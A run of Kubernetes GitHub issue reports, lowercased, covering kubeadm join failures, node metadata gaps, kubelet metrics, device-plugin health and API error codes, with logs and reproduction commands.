k8s.io  schedulerpredicates  serial  validates resource limits of pods that are allowed to run  conformance ;  sig-scheduling  schedulerpredicates  serial  validates that nodeselector is respected if not matching  conformance  | | vishh |  k8s.io  docker containers should use the image defaults if command and args are blank  conformance ;  k8s.io  cadvisor should be healthy on every node.;  k8s.io  projected should provide podname only  conformance   volume  | | sig/api-machinery |  k8s.io  resourcequota should create a resourcequota and capture the life of a replication controller.;  k8s.io  etcd failure  disruptive  should recover from network partition with master;  k8s.io  etcd failure  disruptive  should recover from sigkill | | sig/scheduling |  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if matching  conformance ;  k8s.io  schedulerpredicates  serial  validates that interpodantiaffinity is respected if matching 2;  k8s.io  schedulerpredicates  serial  validates that a pod with an invalid podaffinity is rejected because of the labelselectorrequirement is invalid | | sig/node |  k8s.io  docker containers should use the image defaults if command and args are blank  conformance ;  k8s.io  pods should cap back-off at maxcontainerbackoff  slow ;  k8s.io  probing container with readiness probe should not be ready before initial delay and never restart  conformance  |  </details><br>   current status  https://go.k8s.io/triage 383b71a24c3d619f44dd

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r \r kubernetes/kubernetes 55143 gets windows kernel version by calling  windows.getversion   , but it doesn't work on windows 10. from https://msdn.microsoft.com/en-us/library/windows/desktop/ms724439 v=vs.85 .aspx, getversion requires app to be manifested. \r \r    \r applications not manifested for windows 8.1 or windows 10 will return the windows 8 os version value  6.2 . i tried a toy go program using getversion on windows 10 and it returns 0x23f00206.\r    \r \r given the limited win32 functions in golang, we should read from registry directly.\r \r    \r hkey_local_machine\\software\\microsoft\\windows nt\\currentversion\r     currentbuildnumber    reg_sz    16299\r     currentmajorversionnumber    reg_dword    0xa\r     currentminorversionnumber    reg_dword    0x0\r    \r \r refer https://github.com/azure/acs-engine/issues/2094 issuecomment-358838742.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r kubectl get node -o wide\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r \r i'm wonder what's the behavior in such scenario:\r a running pod with existing device such like nvidia gpu. then the device plugin reports the device gpu is unhealthy.  i'm wondering what's the behavior of kubelet on this. will it kill the existing pod, then start a new pod to bind another health device on this node?\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

 \r \r   what happened  :\r \r i have a master node running on aws with weave net as pod network. i can successfully join the network using kubeadm join --token xxx --discovery-token-ca-cert-hash xxx on my laptop as a slave node. however, if i run the same command on my raspberry pi  running hypriot os  to add a second slave node, i get the following output:\r \r    \r $ sudo kubeadm join --token xxx --discovery-token-ca-cert-hash xxx\r  preflight  running pre-flight checks.\r  preflight  the system verification failed. printing the output from the verification:\r kernel_version: 4.4.50-hypriotos-v7+\r config_namespaces: enabled\r config_net_ns: enabled\r config_pid_ns: enabled\r config_ipc_ns: enabled\r config_uts_ns: enabled\r config_cgroups: enabled\r config_cgroup_cpuacct: enabled\r config_cgroup_device: enabled\r config_cgroup_freezer: enabled\r config_cgroup_sched: enabled\r config_cpusets: enabled\r config_memcg: enabled\r config_inet: enabled\r config_ext4_fs: enabled\r config_proc_fs: enabled\r config_netfilter_xt_target_redirect: enabled  as module \r config_netfilter_xt_match_comment: enabled  as module \r config_overlay_fs: enabled  as module \r config_aufs_fs: not set - required for aufs.\r config_blk_dev_dm: enabled  as module \r os: linux\r cgroups_cpu: enabled\r cgroups_cpuacct: enabled\r cgroups_cpuset: enabled\r cgroups_devices: enabled\r cgroups_freezer: enabled\r cgroups_memory: enabled\r \t warning fileexisting-crictl : crictl not found in system path\r  preflight  some fatal errors occurred:\r \t   error systemverification : failed to get docker info: error reading remote info: json: cannot unmarshal number into go struct field info.debug of type bool\r \t error filecontent--proc-sys-net-bridge-bridge-nf-call-iptables : /proc/sys/net/bridge/bridge-nf-call-iptables does not exist\r  preflight  if you know what you are doing, you can make a check non-fatal with  --ignore-preflight-errors=...   \r    \r \r when i run  sysctl net.bridge.bridge-nf-call-iptables=1  to remove the second error, i get  sysctl: cannot stat /proc/sys/net/bridge/bridge-nf-call-iptables: no such file or directory , which is already suspicious.\r \r   what you expected to happen  :\r \r i expect  sudo kubeadm join --token xxx --discovery-token-ca-cert-hash xxx  to make my raspberry pi join the cluster as slave node. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. use  flash   hypriot  to install the hypriotos-rpi-v1.7.1.img.zip image on an sd card. insert sd card in the raspberry pi and boot up hypriot.\r 2. on the raspberry pi, run  apt-get update  and  apt-get install -y docker.io \r 3. one the raspberry pi, run\r    \r apt-get update && apt-get install -y apt-transport-https\r curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r cat <<eof >/etc/apt/sources.list.d/kubernetes.list\r deb http://apt.kubernetes.io/ kubernetes-xenial main\r eof\r apt-get update\r apt-get install -y kubelet kubeadm kubectl\r    \r 4. on the raspberry pi, run  sudo kubeadm join --token xxx --discovery-token-ca-cert-hash xxx \r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:29:47z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/arm\ } ; server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.4\ , gitcommit:\ bee2d1505c4fe820744d26d41ecd3fdd4a3d6546\ , gittreestate:\ clean\ , builddate:\ 2018-03-12t16:21:35z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: aws ubuntu ec2  master node , raspberry pi hypriot  slave node \r - os  e.g. from /etc/os-release : ubuntu  master  and hypriot  slave \r - kernel  e.g.  uname -a  : linux edge1 4.4.50-hypriotos-v7+  1 smp preempt sun mar 19 14:11:54 utc 2017 armv7l gnu/linux\r - install tools: kubeadm\r

is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r currently, the best available metric for pod start time is  kubelet_pod_start_latency_microseconds , exported by the kubelets. however, this metric is a summary type. this means that it can't be aggregated between kubelets, and limited percentile data is exposed.\r \r   what you expected to happen  :\r \r i'd like to be able to calculate my cluster-wide p99 latency for pod scheduling. hence, i would need this stat to be exposed as a histogram, rather than a summary.\r \r   additional information  :\r \r backing code appears to be available here: https://github.com/kubernetes/kubernetes/blob/a934499cf921f1daf96c0040d70e725e70063060/pkg/kubelet/metrics/metrics.go l83-l89\r \r i think all we'd need to do is change the data type? i'd be happy to submit a patch with some help : \r \r   environment  :\r \r - kubernetes version  use  kubectl version  : 1.8.7-21 with custom patches

 \r \r   when a node on aws instance was provisioned of a type ec2 t2 and ec2 t3. the metadata data information for ec2 t3 was missing  :\r \r \r   create a kubernetes master on aws using kubeadm of a instance type t3.  :\r \r \r e.g.\r \r   t2  \r    \r name:               ip-xx-xx-xx-xx.ec2.internal\r roles:              master\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/instance-type=t2.small\r                     beta.kubernetes.io/os=linux\r                     failure-domain.beta.kubernetes.io/region=us-east-1\r                     failure-domain.beta.kubernetes.io/zone=us-east-1d\r                     kubernetes.io/hostname=ip-xx-xx-xx-xx.ec2.internal\r                     node-role.kubernetes.io/master=\r annotations:        kubeadm.alpha.kubernetes.io/cri-socket=/var/run/dockershim.sock\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  fri, 31 aug 2018 13:50:55 +0000\r taints:             node-role.kubernetes.io/master:noschedule\r \r addresses:\r   internalip:   xx.xx.xx.12\r   externalip:   xx.xx.xx.42\r   internaldns:  ip-xx-xx-xx-12.ec2.internal\r   externaldns:  ec2-xx-xx-xx-42.compute-1.amazonaws.com\r   hostname:     ip-xx-xx-xx-xx.ec2.internal\r capacity:\r  cpu:                1\r  ephemeral-storage:  20263484ki\r  hugepages-2mi:      0\r  memory:             2039732ki\r  pods:               110\r allocatable:\r  cpu:                1\r  ephemeral-storage:  18674826824\r  hugepages-2mi:      0\r  memory:             1937332ki\r  pods:               110\r system info:\r  machine id:                 d6f4gd4g45dg54dg45d45gd45g4d4g5d\r  system uuid:                545g5d-sdf45-fg04fg-45dfa-sdfs4fd4\r  boot id:                    544sdf45s-xxx-xx-xx-xxcxsdf4545\r  kernel version:             4.15.0-1020-aws\r  os image:                   ubuntu 18.04.1 lts\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://18.3.1\r  kubelet version:            v1.11.2\r  kube-proxy version:         v1.11.2\r providerid:                  aws:///us-east-1d/i-0dxxxxf4ebxxxxxxx\r \r \r    \r \r   t3  \r \r    \r name:               ip-xx-xx-xx-xx.ec2.internal\r roles:              master\r labels:             beta.kubernetes.io/arch=amd64\r                     beta.kubernetes.io/os=linux\r                     kubernetes.io/hostname=ip-xx-xx-xx-xx.ec2.internal\r                     node-role.kubernetes.io/master=\r annotations:        kubeadm.alpha.kubernetes.io/cri-socket=/var/run/dockershim.sock\r                     node.alpha.kubernetes.io/ttl=0\r                     volumes.kubernetes.io/controller-managed-attach-detach=true\r creationtimestamp:  mon, 03 sep 2018 06:00:01 +0000\r taints:             node-role.kubernetes.io/master:noschedule\r \r addresses:\r   internalip:  xx.xx.xx.45\r   hostname:    ip-xx-xx-xx-45.ec2.internal\r capacity:\r  cpu:                2\r  ephemeral-storage:  20263484ki\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             2002712ki\r  pods:               110\r allocatable:\r  cpu:                2\r  ephemeral-storage:  18674826824\r  hugepages-1gi:      0\r  hugepages-2mi:      0\r  memory:             1900312ki\r  pods:               110\r system info:\r  machine id:                 fgjlihgjiohjklgjh454557h5gh457jh45k5\r  system uuid:                ere45-xxxx-547fg-545fg-dfg54fhf\r  boot id:                    8sfs8fsf-45gfg-erd6-54fdf-78sfd4g5dg4d\r  kernel version:             4.15.0-1020-aws\r  os image:                   ubuntu 18.04.1 lts\r  operating system:           linux\r  architecture:               amd64\r  container runtime version:  docker://18.3.1\r  kubelet version:            v1.11.2\r  kube-proxy version:         v1.11.2\r \r    \r   https://github.com/aws/aws-sdk-go/releases/tag/v1.15.17  release v1.15.17  2018-08-21    \r - the support for t3 instance service api was added on 2018-08-21. so my guess is it is using the old aws-sdk-go.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r      \r   client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r      \r - cloud provider or hardware configuration:\r   aws\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r   x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r   kubeadm version\r    \r kubeadm version: &version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:14:39z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r a bug?\r \r   \r   what happened  :\r when trying to set up an ha cluster in kubernetes 1.12 with external etcd i experienced a timeout when using the following command:\r \r  kubeadm join <load balancer>:443 --token <token> --discovery-token-ca-cert-hash sha256:3dfa042fcc28a26da9335c14802718bbc36b82bb71b4e5dfaa70c004454932da --experimental-control-plane \r \r   what you expected to happen  :\r i expected a successful cluster setup\r \r   how to reproduce it  as minimally and precisely as possible   :\r good question - maybe the load balancer is a problem? \r \r   anything else we need to know?  :\r \r the load balancer  haproxy  is on the same host as the node i want to join. \r two master nodes were installed successfully before experiencing this error.\r \r kubelet logs:\r \r    \r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.667360   26132 server.go:408  version: v1.12.0\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.667520   26132 plugins.go:99  no cloud provider specified.\r oct 05 09:34:32  kubelet 26132 : w1005 09:34:32.667553   26132 server.go:553  standalone mode, no api client\r oct 05 09:34:32  kubelet 26132 : w1005 09:34:32.745120   26132 server.go:465  no api server defined - no events will be sent to api server.\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.745178   26132 server.go:667  --cgroups-per-qos enabled, but --cgroup-root was not specified.  defaulting to /\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.745944   26132 container_manager_linux.go:247  container manager verified user specified cgroup-root exists:   \r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.745974   26132 container_manager_linux.go:252  creating container manager object based on node config: {runtimecgroupsname: systemcgroupsname: kubeletcgroupsname: containerruntime:docker cgroupsperqos:true cgrouproot:/ cgroupdriver:cgroupfs kubeletrootdir:/var/lib/kubelet protectkerneldefaults:false nodeallocatableconfig:{kubereservedcgroupname: systemreservedcgroupname: en\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.746237   26132 container_manager_linux.go:271  creating device plugin manager: true\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.746368   26132 state_mem.go:36   cpumanager  initializing new in-memory state store\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.747800   26132 kubelet.go:279  adding pod path: /etc/kubernetes/manifests\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.752107   26132 client.go:75  connecting to docker on unix:///var/run/docker.sock\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.752172   26132 client.go:104  start docker client with request timeout=2m0s\r oct 05 09:34:32  kubelet 26132 : w1005 09:34:32.754889   26132 docker_service.go:540  hairpin mode set to \ promiscuous-bridge\  but kubenet is not enabled, falling back to \ hairpin-veth\ \r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.754954   26132 docker_service.go:236  hairpin mode set to \ hairpin-veth\ \r oct 05 09:34:32  kubelet 26132 : w1005 09:34:32.755195   26132 cni.go:188  unable to update cni config: no networks found in /etc/cni/net.d\r oct 05 09:34:32  kubelet 26132 : w1005 09:34:32.759325   26132 hostport_manager.go:68  the binary conntrack is not installed, this can cause failures in network connection cleanup.\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.762094   26132 docker_service.go:251  docker cri networking managed by kubernetes.io/no-op\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.789329   26132 docker_service.go:256  docker info: &{id:ljut:6wwb:wnw2:ujgm:r5ht:4poo:ql2m:pfoi:okzn:obp2:odqs:ssju containers:0 containersrunning:0 containerspaused:0 containersstopped:0 images:19 driver:overlay2 driverstatus:  backing filesystem xfs   supports d_type true   native overlay diff true   systemstatus:   plugins:{volume: local  network: bridge host macvlan nul\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.789503   26132 docker_service.go:269  setting cgroupdriver to cgroupfs\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.820067   26132 kuberuntime_manager.go:197  container runtime docker initialized, version: 17.06.2-ce, apiversion: 1.30.0\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.822547   26132 server.go:1013  started kubelet\r oct 05 09:34:32  kubelet 26132 : w1005 09:34:32.822599   26132 kubelet.go:1387  no api server defined - no node status update will be sent.\r oct 05 09:34:32  kubelet 26132 : e1005 09:34:32.822622   26132 kubelet.go:1287  image garbage collection failed once. stats initialization may not have completed yet: failed to get imagefs info: unable to find data in memory cache\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.822624   26132 server.go:133  starting to listen on 127.0.0.1:10250\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.823855   26132 fs_resource_analyzer.go:66  starting fs resourceanalyzer\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.823900   26132 status_manager.go:148  kubernetes client is nil, not starting status manager.\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.823919   26132 kubelet.go:1804  starting kubelet main sync loop.\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.823971   26132 kubelet.go:1821  skipping pod synchronization -  container runtime is down pleg is not healthy: pleg was last seen active 2562047h47m16.854775807s ago; threshold is 3m0s \r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.824016   26132 volume_manager.go:248  starting kubelet volume manager\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.824094   26132 desired_state_of_world_populator.go:130  desired state populator starts to run\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.824656   26132 server.go:318  adding debug handlers to kubelet server.\r oct 05 09:34:32  kubelet 26132 : i1005 09:34:32.924253   26132 kubelet.go:1821  skipping pod synchronization -  container runtime is down \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.072557   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.077937   26132 cpu_manager.go:155   cpumanager  starting with none policy\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.077967   26132 cpu_manager.go:156   cpumanager  reconciling every 10s\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.077976   26132 policy_none.go:42   cpumanager  none policy: start\r oct 05 09:34:33  kubelet 26132 : w1005 09:34:33.078616   26132 manager.go:527  failed to retrieve checkpoint for \ kubelet_internal_checkpoint\ : checkpoint is not found\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.078989   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.124726   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.130955   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.136320   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.136580   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.142780   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.143667   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.224945   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs\   uniquename: \ kubernetes.io/host-path/c01ca7b14938930625aacf5a32476dd0-ca-certs\   pod \ kube-apiserver-\   uid: \ c01ca7b14938930625aacf5a32476dd0\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.225058   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ etcd-certs-0\   uniquename: \ kubernetes.io/host-path/c01ca7b14938930625aacf5a32476dd0-etcd-certs-0\   pod \ kube-apiserver-\   uid: \ c01ca7b14938930625aacf5a32476dd0\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.225200   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ etc-pki\   uniquename: \ kubernetes.io/host-path/c01ca7b14938930625aacf5a32476dd0-etc-pki\   pod \ kube-apiserver-\   uid: \ c01ca7b14938930625aacf5a32476dd0\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.325745   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ flexvolume-dir\   uniquename: \ kubernetes.io/host-path/92f250670b6bc27fc8b90703d1196aa3-flexvolume-dir\   pod \ kube-controller-manager-\   uid: \ 92f250670b6bc27fc8b90703d1196aa3\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.325834   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ etc-pki\   uniquename: \ kubernetes.io/host-path/92f250670b6bc27fc8b90703d1196aa3-etc-pki\   pod \ kube-controller-manager-\   uid: \ 92f250670b6bc27fc8b90703d1196aa3\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.325890   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ kubeconfig\   uniquename: \ kubernetes.io/host-path/92f250670b6bc27fc8b90703d1196aa3-kubeconfig\   pod \ kube-controller-manager-\   uid: \ 92f250670b6bc27fc8b90703d1196aa3\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.326047   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ kubeconfig\   uniquename: \ kubernetes.io/host-path/dd3b0cd7d636afb2b116453dc6524f26-kubeconfig\   pod \ kube-scheduler-\   uid: \ dd3b0cd7d636afb2b116453dc6524f26\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.326393   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ k8s-certs\   uniquename: \ kubernetes.io/host-path/c01ca7b14938930625aacf5a32476dd0-k8s-certs\   pod \ kube-apiserver-\   uid: \ c01ca7b14938930625aacf5a32476dd0\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.326524   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ k8s-certs\   uniquename: \ kubernetes.io/host-path/92f250670b6bc27fc8b90703d1196aa3-k8s-certs\   pod \ kube-controller-manager-\   uid: \ 92f250670b6bc27fc8b90703d1196aa3\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.326645   26132 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ ca-certs\   uniquename: \ kubernetes.io/host-path/92f250670b6bc27fc8b90703d1196aa3-ca-certs\   pod \ kube-controller-manager-\   uid: \ 92f250670b6bc27fc8b90703d1196aa3\  \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.326693   26132 reconciler.go:154  reconciler: start to sync state\r oct 05 09:34:33  dockerd 24966 : time=\ 2018-10-05t09:34:33.789690025+02:00\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 40806fa9041d3a65d39fdc1a68e2415f0d77f84e0c4f8c163d3bd48fec0d763f\ \r oct 05 09:34:33  kubelet 26132 : w1005 09:34:33.792727   26132 docker_container.go:202  deleted previously existing symlink file: \ /var/log/pods/92f250670b6bc27fc8b90703d1196aa3/kube-controller-manager/0.log\ \r oct 05 09:34:33  dockerd 24966 : time=\ 2018-10-05t09:34:33.820145872+02:00\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 19328df83a640d71faf86310d1a4052f3af42e75513d9745a2775532803ba122\ \r oct 05 09:34:33  kubelet 26132 : w1005 09:34:33.822612   26132 docker_container.go:202  deleted previously existing symlink file: \ /var/log/pods/dd3b0cd7d636afb2b116453dc6524f26/kube-scheduler/0.log\ \r oct 05 09:34:33  dockerd 24966 : time=\ 2018-10-05t09:34:33.836511632+02:00\  level=warning msg=\ unknown healthcheck type 'none'  expected 'cmd'  in container 6b9e3036a5027b42a4340ad0779be6030593d1a10df4367c0a0ca54ff1345f16\ \r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.851661   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.865408   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:33  kubelet 26132 : i1005 09:34:33.874766   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:34  kubelet 26132 : w1005 09:34:34.841803   26132 kubelet_getters.go:264  path \ /var/lib/kubelet/pods/43fc349d-c86e-11e8-a0aa-001018759bc8/volumes\  does not exist\r oct 05 09:34:34  kubelet 26132 : w1005 09:34:34.841888   26132 kubelet_getters.go:264  path \ /var/lib/kubelet/pods/7c7d1db45cb11bf12de2eac803da8b77/volumes\  does not exist\r oct 05 09:34:34  kubelet 26132 : w1005 09:34:34.841935   26132 kubelet_getters.go:264  path \ /var/lib/kubelet/pods/43fbcf1b-c86e-11e8-a0aa-001018759bc8/volumes\  does not exist\r oct 05 09:34:34  kubelet 26132 : i1005 09:34:34.880168   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:34  kubelet 26132 : i1005 09:34:34.880564   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:34  kubelet 26132 : i1005 09:34:34.880645   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:43  kubelet 26132 : i1005 09:34:43.121992   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:53  kubelet 26132 : i1005 09:34:53.165661   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:34:56  sshd 26621 : connection closed by 172.29.2.56 port 50080  preauth \r oct 05 09:35:03  kubelet 26132 : i1005 09:35:03.210021   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:35:13  kubelet 26132 : i1005 09:35:13.252179   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r oct 05 09:35:23  kubelet 26132 : i1005 09:35:23.295605   26132 kubelet_node_status.go:276  setting node annotation to enable volume controller attach/detach\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.12\r - cloud provider or hardware configuration: \r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :  4.18.5-1.el7.elrepo.x86_64\r - install tools: kubeadm\r - others: -\r

what happened  :\r post or put to a custom resource with a json body missing \ kind\  results in a 500 error:\r    json\r {\r     \ kind\ : \ status\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {},\r     \ status\ : \ failure\ ,\r     \ message\ : \ object 'kind' is missing in 'object has no kind field '\ ,\r     \ code\ : 500\r }\r    \r a missing \ apiversion\  also results in a 500 error:\r    json\r {\r     \ kind\ : \ status\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {},\r     \ status\ : \ failure\ ,\r     \ message\ : \ internal error occurred: object 'apiversion' is missing in 'object has no apiversion field'\ ,\r     \ reason\ : \ internalerror\ ,\r     \ details\ : {\r         \ causes\ :  \r             {\r                 \ message\ : \ object 'apiversion' is missing in 'object has no apiversion field'\ \r             }\r          \r     },\r     \ code\ : 500\r }\r    \r then with both \ kind\  and \ apiversion\  defined we get the normal 4xx return codes.\r \r   what you expected to happen  :\r all bad inputs for create and update requests should be 4xx return codes.\r e.g. creating a  role  with body of  {}  results in the 422 error:\r    json\r {\r     \ kind\ : \ status\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {},\r     \ status\ : \ failure\ ,\r     \ message\ : \ role.rbac.authorization.k8s.io \\\ \\\  is invalid: metadata.name: required value: name or generatename is required\ ,\r     \ reason\ : \ invalid\ ,\r     \ details\ : {\r         \ group\ : \ rbac.authorization.k8s.io\ ,\r         \ kind\ : \ role\ ,\r         \ causes\ :  \r             {\r                 \ reason\ : \ fieldvaluerequired\ ,\r                 \ message\ : \ required value: name or generatename is required\ ,\r                 \ field\ : \ metadata.name\ \r             }\r          \r     },\r     \ code\ : 422\r }\r    \r \r   how to reproduce it  :\r create a crd or use a cluster that already has a one prepared  gke 1.11.0+ clusters have the crd  cloud.google.com/v1beta1   backendconfigs  installed which you could test against . http  post  to that custom resource with a json body of  {} .\r \r e.g. \r    sh\r curl -d '{}' -h \ content-type: application/json\  -x post http://cluster/apis/cloud.google.com/v1beta1/namespaces/default/backendconfigs\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.2\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  